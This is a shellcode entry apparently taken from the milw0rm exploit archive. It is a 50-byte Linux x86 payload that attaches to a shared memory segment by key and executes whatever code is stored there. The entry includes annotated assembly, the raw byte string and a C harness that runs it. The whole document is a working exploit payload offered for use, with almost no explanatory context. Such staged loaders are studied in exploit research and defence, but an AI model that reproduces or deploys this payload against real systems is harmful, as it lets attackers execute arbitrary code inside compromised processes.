linux/x86 shared memory exec 50 bytes

/* sloth@nopninjas.com - http://www.nopninjas.com Platform: Linux x86 Length: 50 bytes - This shellcode connects to the shared memory segment matching the key and executes the code at that address. xorl %edi,%edi xorl %esi,%esi xorl %edx,%edx movl $0xdeadbeef,%ecx * shared memory key * xorl %ebx,%ebx movb $23,%bl xorl %eax,%eax movb $117,%al int $0x80 xorl %edi,%edi movl $0xbffffffa,%esi * pointer storage location * xorl %edx,%edx movl %eax,%ecx xorl %ebx,%ebx movb $21,%bl xorl %eax,%eax movb $117,%al int $0x80 movl $0xbffffffa,%eax * pointer storage location * pushl (%eax) ret */ char shm[] = "\x31\xff\x31\xf6\x31\xd2\xb9\xef\xbe\xad\xde\x31\xdb\xb3\x17\x31" "\xc0\xb0\x75\xcd\x80\x31\xff\xbe\xfa\xff\xff\xbf\x31\xd2\x89\xc1" "\x31\xdb\xb3\x15\x31\xc0\xb0\x75\xcd\x80\xb8\xfa\xff\xff\xbf\xff" "\x30\xc3"; int main() { void (*shell)() = (void *)&shm; shell(); } // milw0rm.com [2004-09-26]